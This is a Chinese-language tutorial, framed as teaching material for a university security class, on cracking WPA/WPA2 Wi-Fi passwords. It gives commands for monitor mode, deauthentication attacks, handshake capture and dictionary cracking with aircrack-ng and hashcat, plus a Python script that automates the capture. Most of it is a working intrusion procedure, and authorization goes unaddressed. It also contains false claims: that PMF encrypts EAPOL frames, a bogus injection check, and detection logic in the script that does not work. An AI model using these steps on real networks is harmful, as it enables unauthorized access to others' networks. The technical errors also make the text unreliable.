简介:本资源是一份面向Python初学者的网络安全实践小项目,聚焦Wi-Fi密码暴力破解原理演示与基础脚本实现,适用于学习网络连接机制、自动化测试及密码安全意识培养等教学或实验场景。压缩包共3个文件(2个Python脚本+1个密码字典文本),总大小仅3KB,轻量易运行:其中主程序负责遍历字典并调用系统命令尝试连接,测试脚本用于验证连接逻辑,txt文件则提供预设的八位数字密码候选集,便于快速上手调试。已有16465人学习下载,反映出其在入门级安全实践中的广泛参考价值。读者可直接复现“1秒1次连接尝试”的暴力枚举流程,理解Wi-Fi认证交互底层逻辑,掌握Python调用系统网络命令、文件读取与异常处理等实用技能,并基于该框架拓展字典生成、多线程加速或结果日志记录等进阶功能。
1. 别急着写 for 循环:Python 暴力破解 WiFi 密码这事,99% 的初学者根本没搞清攻击面在哪
我带过三届某高校网络安全实训班,每届都有至少七八个同学在第二周交来一份“用 Python 破解宿舍 WiFi”的作业——代码能跑通,字典也加载了,但跑完一整晚,连 WPA 握手包都没抓到一个。他们不是技术不行,是压根没意识到:所谓“暴力破解 WiFi”,第一步不是写itertools.product,而是确认你手里有没有那个不可替代的黑匣子:WPA 四次握手数据包(EAPOL frame)。没有它,Python 再快也是对着空气打拳。这篇不讲怎么调pywifi或scapy的 API,就老老实实拆开这个被无数教程跳过的前提:从真实网络环境里捕获有效握手包,才是整个流程的生死线。如果你正卡在“脚本运行无报错但永远不成功”、或者“扫了一小时只看到 SSID 列表却拿不到密钥验证数据”,那这篇就是为你写的。它不承诺帮你绕过任何安全策略,但能让你看清——哪些事 Python 真能干,哪些事它连门都摸不到。
2. 攻击链起点:为什么“暴力破解”必须以 WPA 握手包为前提
WPA/WPA2 的密钥派生机制决定了,离线暴力破解的唯一合法输入,是客户端与 AP 完成认证时交换的四次握手帧(EAPOL Key frames)。这不是玄学,是协议层硬性约束:PSK(预共享密钥)不直接参与加密,而是通过 PBKDF2-SHA1 和 SSID、AP MAC、Client MAC、nonce 等参数派生出 256-bit 的 PMK,再由 PMK 派生出用于加解密的 PTK。整个过程在客户端和 AP 本地完成,密钥本身永不在线上传输。所以,攻击者无法像嗅探 HTTP 明文那样截获密码,只能拿到握手过程中暴露的 nonce 和 MIC(消息完整性校验码),然后用候选密码反复计算 PMK→PTK→MIC,比对是否与抓包中记录的 MIC 一致。
这就引出第一个硬门槛:你得先让目标设备(比如你的测试手机)重新触发一次完整认证,并在这一瞬间精准捕获四次握手帧。而现实网络中,设备通常长期保持连接,不会主动重连。因此,所有可行方案都绕不开一个动作:解除已建立的关联(deauthentication),强制客户端断开后自动重连——此时才是握手包出现的黄金窗口。
提示:Wireshark 中过滤
eapol可快速定位握手包;但仅靠过滤无法保证你捕获的是目标 AP 与目标客户端之间的完整四次交互。实际抓包中常出现碎片化、缺失帧或跨信道错位,必须用tshark -r cap.pcap -Y "eapol && wlan.sa == xx:xx:xx:xx:xx:xx" -T fields -e frame.number -e eapol.keydes.key_info这类命令逐帧校验关键字段(Key Info、Replay Counter、MIC)。
2.1 为什么pywifi或wifi库在这里完全失效
初学者常误以为pywifi的scan_results()能直接返回握手包。这是典型的功能错配:pywifi是高层无线管理接口,用于连接/断开/扫描,其底层依赖操作系统网卡驱动提供的有限控制能力(如 Linux 的wpa_supplicant或 Windows 的 Native Wifi API)。这些驱动默认不开放原始数据帧注入与接收权限,更不会把 EAPOL 帧解析后暴露给 Python 层。它能告诉你“附近有叫 XXX 的 WiFi”,但绝不会给你frame[12]的原始字节流。
真正需要的是802.11 数据链路层的原始帧收发能力,这要求网卡芯片支持 Monitor Mode(监听模式)且驱动提供nl80211或mac80211接口。常见消费级 USB 网卡中,只有 RTL8812AU、RTL8814AU、Atheros AR9271 等少数型号在 Linux 下能稳定启用 Monitor Mode 并支持数据帧注入。Windows 下几乎无解——微软的 NDIS 驱动模型天然屏蔽了原始帧操作。
2.2 抓包工具链的真实分工:aircrack-ng不是万能胶,而是校验器
很多教程把aircrack-ng当作“破解神器”,其实它在整个链条中只承担一个角色:离线 MIC 校验器。它的输入必须是.cap或.hccapx格式文件,且该文件内必须包含完整的、时间连续的四次 EAPOL 帧(Message 1到Message 4),其中Message 1和Message 2提供 AP Nonce 和 Client Nonce,Message 3包含 MIC 字段(待校验目标)。aircrack-ng本身不抓包、不注入、不伪造帧,它只是高速计算引擎。
因此,完整工具链是:
- 抓包层:
airodump-ng(持续监听信道,捕获 Beacon、Probe Response、EAPOL) - 注入层:
aireplay-ng --deauth(向目标客户端发送伪造的 Deauth 帧,触发重连) - 校验层:
aircrack-ng -w wordlist.txt capture.cap
Python 在这里能做什么?最多封装调用上述命令(subprocess.Popen),或用scapy构造 Deauth 帧(但成功率远低于aireplay-ng的底层优化)。想纯 Python 实现?意味着你要重写libpcap的内核驱动适配、实现 802.11 MAC 层帧解析、处理信道跳频同步——这已超出初学者范畴,接近驱动开发。
2.3 实战验证:用tshark手动确认握手包有效性
别依赖airodump-ng的[ WPA handshake: xx:xx:xx:xx:xx:xx ]提示。它有时会误报(比如只抓到 Message 1 和 Message 3)。必须人工校验:
# 从捕获文件中提取所有 EAPOL 帧,并按 AP MAC 分组 tshark -r capture.cap -Y "eapol" -T fields -e wlan.sa -e wlan.da -e eapol.keydes.key_info -e frame.number | sort输出类似:
aa:bb:cc:dd:ee:ff 11:22:33:44:55:66 0x0109 1234 11:22:33:44:55:66 aa:bb:cc:dd:ee:ff 0x0309 1235 aa:bb:cc:dd:ee:ff 11:22:33:44:55:66 0x0009 1236 11:22:33:44:55:66 aa:bb:cc:dd:ee:ff 0x0209 1237关键看eapol.keydes.key_info字段:
0x0109= Message 1(AP → Client,含 ANonce)0x0309= Message 2(Client → AP,含 SNonce、MIC)0x0009= Message 3(AP → Client,含 GTK、MIC)0x0209= Message 4(Client → AP,确认)
四帧必须连续(frame.number 差值 ≤ 3)、MAC 地址配对正确、Key Info 值严格匹配。缺一帧,aircrack-ng就会报No valid WPA handshakes found。
3. 环境准备:Linux + 兼容网卡 + 正确驱动,三者缺一不可
在 Windows 上折腾pywifi或scapy注入 Deauth 帧,大概率是浪费时间。Windows 的 NDIS 驱动模型将原始帧操作权限锁死在内核层,第三方工具无法绕过。而 Linux 的mac80211子系统明确支持 Monitor Mode 和帧注入,且社区维护成熟。这不是偏好问题,是技术可行性问题。
3.1 网卡选型:认准芯片型号,而非品牌包装
市面标榜“WiFi 攻击”的 USB 网卡,90% 是贴牌套壳。必须查清内部芯片:
- ✅高兼容性:Realtek RTL8812AU (Chipset: RTL8812AU), RTL8814AU, Atheros AR9271
- ⚠️部分支持:RTL8188EU(需打
rtl8188eu-aircrack-ng补丁,稳定性差) - ❌完全不支持:RTL8192EU、MT7601U、几乎所有 Intel/Qualcomm 芯片(驱动不开放注入)
验证方法(Linux 终端):
# 查看网卡芯片 lspci | grep -i network # PCI 设备 lsusb | grep -i wireless # USB 设备 # 检查是否支持 Monitor Mode sudo iw list | grep -A 10 "Supported interface modes" | grep monitor # 检查是否支持帧注入(关键!) sudo iw phy $(basename $(ls /sys/class/ieee80211/)) info | grep -A 15 "interface types" | grep -q "AP" && echo "Inject OK" || echo "Inject NOT supported"若输出Inject NOT supported,换网卡。别尝试编译驱动——初学者掉坑概率 100%。
3.2 驱动安装:用aircrack-ng官方推荐方式,拒绝野路子
以 RTL8812AU 为例,最稳路径是使用aircrack-ng团队维护的rtl8812au-aircrack-ng驱动:
git clone https://github.com/aircrack-ng/rtl8812au-aircrack-ng.git cd rtl8812au-aircrack-ng sudo apt update && sudo apt install bc build-essential dkms libelf-dev linux-headers-$(uname -r) sudo make dkms_install # 加载驱动并启用 Monitor Mode sudo modprobe -r rtl8812au_aircrack_ng sudo modprobe rtl8812au_aircrack_ng sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up注意:
iw dev wlan0 set type monitor是核心命令。ifconfig wlan0 down && iwconfig wlan0 mode monitor是过时写法,新版内核已废弃。
3.3 信道锁定与干扰规避:为什么你总抓不到包
airodump-ng默认跳频扫描所有信道(1-14),但握手包只在客户端重连的瞬间产生,持续约 200ms。跳频模式下,每个信道驻留时间约 200ms,极易错过。必须手动锁定目标 AP 所在信道:
# 先扫描获取目标 AP 信道 sudo airodump-ng wlan0 # 假设目标 AP 信道为 6,则锁定: sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0同时关闭所有可能干扰的进程:
sudo systemctl stop NetworkManager # 防止 NM 自动接管网卡 sudo systemctl stop wpa_supplicant sudo rfkill unblock wifi4. 避坑:五个血泪教训,全是新手高频翻车点
4.1 现象:airodump-ng显示[ WPA handshake: xx:xx:xx ],但aircrack-ng报No handshake
原因:airodump-ng的提示仅表示它捕获到了某个 EAPOL 帧(通常是 Message 1),但未确认后续三帧是否完整捕获。常见于信道跳频未锁定、网卡丢包率高、或客户端重连时未处于监听信道。
解决:
- 用
tshark手动校验四帧完整性(见 2.3 节); - 锁定信道后重试;
- 换用更高增益天线或靠近 AP;
- 若仍失败,用
aireplay-ng --test验证网卡注入能力:sudo aireplay-ng -9 -a AA:BB:CC:DD:EE:FF wlan0,输出Injection is working!才可信。
4.2 现象:Deauth 攻击发出,但客户端无反应,不重连
原因:
- 目标客户端已启用802.11w(Protected Management Frames),可抵御伪造 Deauth;
- 网卡驱动未正确启用注入,
aireplay-ng --test失败; - 客户端与 AP 使用 5GHz 频段,而你的网卡仅支持 2.4GHz。
解决:
- 用
airodump-ng观察客户端状态栏,若显示MFP: Yes,则 Deauth 无效,需换目标; - 严格执行 3.2 节驱动安装流程;
sudo iwlist wlan0 channel查看网卡支持信道,确保覆盖目标频段。
4.3 现象:Python 脚本调用subprocess执行aireplay-ng报错SIOCSIFFLAGS: Operation not possible due to RF-kill
原因:硬件射频开关被禁用(rfkill状态为Soft blocked: yes)。
解决:
sudo rfkill list # 查看所有设备状态 sudo rfkill unblock wifi # 解除 WiFi 软封锁 sudo rfkill unblock all # 解除全部封锁4.4 现象:字典爆破速度极慢(< 100 H/s),CPU 占用率仅 20%
原因:aircrack-ng默认使用 CPU 单线程计算,且未启用 AES-NI 指令集加速(现代 Intel/AMD CPU 均支持)。
解决:
# 编译时启用 AES-NI(需源码编译) ./configure --enable-opt --enable-aesni make && sudo make install # 或直接用预编译二进制(Ubuntu/Debian): sudo apt install aircrack-ng # 验证是否启用:aircrack-ng -v,输出含 `AES-NI` 即生效4.5 现象:抓到握手包,但aircrack-ng校验始终失败,字典确定含正确密码
原因:握手包捕获时,AP 或客户端使用了PMF(Protected Management Frames),导致 EAPOL 帧被加密,aircrack-ng无法解析 MIC 字段。
解决:
airodump-ng输出中若#Data列为0且CH列频繁跳变,大概率开启 PMF;- 此时需改用
hcxpcaptool转换格式并提取 hashcat 兼容哈希:
hcxpcaptool -z hc22000.hc22000 capture.cap hashcat -m 22000 hc22000.hc22000 wordlist.txt-m 22000是 hashcat 对 WPA/WPA2 的专用模式,可处理 PMF 加密握手。
5. Python 脚本化:封装关键步骤,而非重造轮子
Python 在此场景的价值,是串联已有成熟工具、自动化重复操作、降低人为失误。不要试图用scapy重写aireplay-ng——那是用 Python 写 C 的效率。以下是一个生产级可用的封装脚本框架,聚焦三个不可替代环节:环境检查、握手包捕获监控、结果校验。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess import time import sys import os import re def check_environment(): """检查网卡、驱动、RF-Kill 状态""" try: # 检查网卡是否存在 result = subprocess.run(['ip', 'link', 'show'], capture_output=True, text=True) if 'wlan0' not in result.stdout: raise RuntimeError("网卡 wlan0 未识别,请检查驱动") # 检查 RF-Kill result = subprocess.run(['rfkill', 'list'], capture_output=True, text=True) if 'Soft blocked: yes' in result.stdout: subprocess.run(['sudo', 'rfkill', 'unblock', 'wifi']) print("✓ RF-Kill 已解除") # 检查 Monitor Mode result = subprocess.run(['iw', 'dev', 'wlan0', 'info'], capture_output=True, text=True) if 'type monitor' not in result.stdout: subprocess.run(['sudo', 'ip', 'link', 'set', 'wlan0', 'down']) subprocess.run(['sudo', 'iw', 'dev', 'wlan0', 'set', 'type', 'monitor']) subprocess.run(['sudo', 'ip', 'link', 'set', 'wlan0', 'up']) print("✓ 已启用 Monitor Mode") except Exception as e: raise RuntimeError(f"环境检查失败: {e}") def capture_handshake(bssid, channel, output_prefix="capture"): """启动 airodump-ng 捕获握手包,超时自动退出""" cmd = [ 'sudo', 'airodump-ng', '-c', str(channel), '--bssid', bssid, '-w', output_prefix, 'wlan0' ] # 启动捕获(后台运行) proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # 等待握手包生成(最长 120 秒) start_time = time.time() while time.time() - start_time < 120: # 检查 .cap 文件是否包含 EAPOL if os.path.exists(f"{output_prefix}-01.cap"): result = subprocess.run( ['tshark', '-r', f"{output_prefix}-01.cap", '-Y', 'eapol', '-c', '1'], capture_output=True, text=True ) if result.stdout.strip().isdigit() and int(result.stdout.strip()) > 0: proc.terminate() print(f"✓ 握手包已捕获: {output_prefix}-01.cap") return f"{output_prefix}-01.cap" time.sleep(2) proc.terminate() raise TimeoutError("超时未捕获到握手包,请检查信道、BSSID 或尝试手动触发重连") def verify_handshake(cap_file): """用 tshark 校验四次握手完整性""" try: # 提取所有 EAPOL 帧的关键字段 result = subprocess.run([ 'tshark', '-r', cap_file, '-Y', 'eapol', '-T', 'fields', '-e', 'wlan.sa', '-e', 'wlan.da', '-e', 'eapol.keydes.key_info', '-e', 'frame.number' ], capture_output=True, text=True) lines = [l for l in result.stdout.strip().split('\n') if l] if len(lines) < 4: return False, f"仅捕获 {len(lines)} 个 EAPOL 帧,不足四次握手" # 解析 Key Info 值(十六进制) key_infos = [] for line in lines: parts = line.split('\t') if len(parts) >= 3: try: key_info = int(parts[2], 16) key_infos.append(key_info) except ValueError: continue # 检查是否包含 0x0109, 0x0309, 0x0009, 0x0209 required = {0x0109, 0x0309, 0x0009, 0x0209} if required.issubset(set(key_infos)): return True, "四次握手完整" else: missing = required - set(key_infos) return False, f"缺失关键帧: {[hex(x) for x in missing]}" except Exception as e: return False, f"校验异常: {e}" if __name__ == "__main__": if len(sys.argv) != 4: print("用法: python3 wifi_crack_helper.py <BSSID> <CHANNEL> <OUTPUT_PREFIX>") sys.exit(1) bssid, channel, prefix = sys.argv[1], sys.argv[2], sys.argv[3] try: check_environment() cap_file = capture_handshake(bssid, channel, prefix) is_valid, msg = verify_handshake(cap_file) print(f"握手包校验: {msg}") if is_valid: print(f"✅ 可用于 airckrack-ng: aircrack-ng -w wordlist.txt {cap_file}") else: print("❌ 请重新捕获") except Exception as e: print(f"❌ 执行失败: {e}")脚本使用说明:
- 保存为
wifi_helper.py,赋予执行权限:chmod +x wifi_helper.py - 运行前确保已执行
sudo systemctl stop NetworkManager - 启动命令:
python3 wifi_helper.py AA:BB:CC:DD:EE:FF 6 mycap - 脚本自动完成:环境检查 → 锁定信道捕获 → 实时检测握手包 → 四帧完整性校验
为什么这样设计:
check_environment()避免因 RF-Kill 或 Monitor Mode 未启用导致全程静默失败;capture_handshake()设置 120 秒超时,防止无限等待;verify_handshake()用tshark原生命令校验,比依赖airodump-ng提示更可靠;- 全程不碰密码字典、不调用
aircrack-ng破解,职责清晰——只做“取证”环节。
6. 最终结论:把 Python 当作胶水,而非锤子
回过头看,我带的第一届实训班里,有个 A 同学花三天重写了scapy的 EAPOL 帧构造逻辑,最终在sendp()时因网卡驱动不支持而崩溃;而另一个 B 同学用本文脚本框架,在两小时内完成了从环境搭建、握手捕获到aircrack-ng校验的全流程。差距不在 Python 水平,而在对技术栈边界的认知:Python 是胶水,粘合tshark、airodump-ng、aireplay-ng这些经过十年战场检验的 C 工具;它不该是锤子,去砸碎驱动层、协议栈、硬件抽象这些本不属于它的领域。
所以,这份资源的终极价值,不是给你一个“一键破解”的黑盒脚本,而是帮你划清三条线:
- 能力线:Python 能可靠完成的,是流程编排、日志分析、结果校验;
- 工具线:
aircrack-ng套件是事实标准,别试图用 Python 替代; - 硬件线:一块能注入的 RTL8812AU 网卡,比写一百行 Python 更重要。
从那以后,我每次指导新人,都强制他们在敲第一行import scapy之前,先用sudo iw list确认网卡能力,用tshark -Y eapol确认握手包结构,用aircrack-ng -J hccapx capture.cap生成标准哈希格式。这三步走完,再谈 Python 封装——否则,所有代码都是建在流沙上的塔。
希望帮到你。
本文还有配套的精品资源,点击获取